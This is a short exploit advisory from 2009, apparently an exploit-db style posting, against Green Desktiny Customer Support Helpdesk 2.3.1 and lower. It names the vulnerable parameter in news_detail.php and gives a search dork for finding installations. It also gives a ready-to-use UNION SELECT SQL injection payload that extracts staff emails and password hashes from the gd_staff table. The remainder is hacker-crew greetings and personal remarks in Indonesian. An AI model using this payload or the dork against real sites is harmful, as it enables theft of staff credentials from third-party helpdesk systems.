################################################################################### # [~] Green Desktiny - Customer Support Helpdesk SQL injection vulnerability - (id) # [~] Author : kaMtiEz (kamzcrew@gmail.com) # [~] Homepage : http://www.indonesiancoder.com # [~] Date : Desember 25, 2009 # # ################################################################################### [ Software Information ] [+] Vendor : http://www.greendesktiny.com/ [+] Download : - [+] version : 2.3.1 or lower maybe also affected [+] Vulnerability : SQL injection [+] Dork : "Think iT" [+] Price : $68 [+] Location : INDONESIA - JOGJA ################################################################################## [ HERE WE GO .. LIVE FROM JOGJA CITY ] [ Vulnerable File ] http://127.0.0.1/[kaMtiEz]/news_detail.php?id=[INDONESIANCODER] [ Exploit ] -666/**/union/**/select/**/666,666,666,666,666,666,666,666,666,concat_ws(0x3a,email,password),@@version,666/**/from/**/gd_staff-- =========================================================================== [ Thx TO ] [+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink [+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry .. [+] Contrex,onthel,yasea,bugs,Ronz,Pathloader, [+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk [ NOTE ] [+] Nyak ama babe gua .. tak lupa adik gua .. [+] sendiri dingin sepi ... tanpa sengaja menemukan celah ke 2x nya .. [+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D [ QUOTE ] [+] HAPPY BIRTHDAY TO DON TUKULSETO . WISH U ALL THE BEST .. KEEP MOVIN .. ! [+] merry x-mas and happy new year .. :D [ EOF ] [+] INDONESIANOCODER TEAM [+] KILL -9 TEAM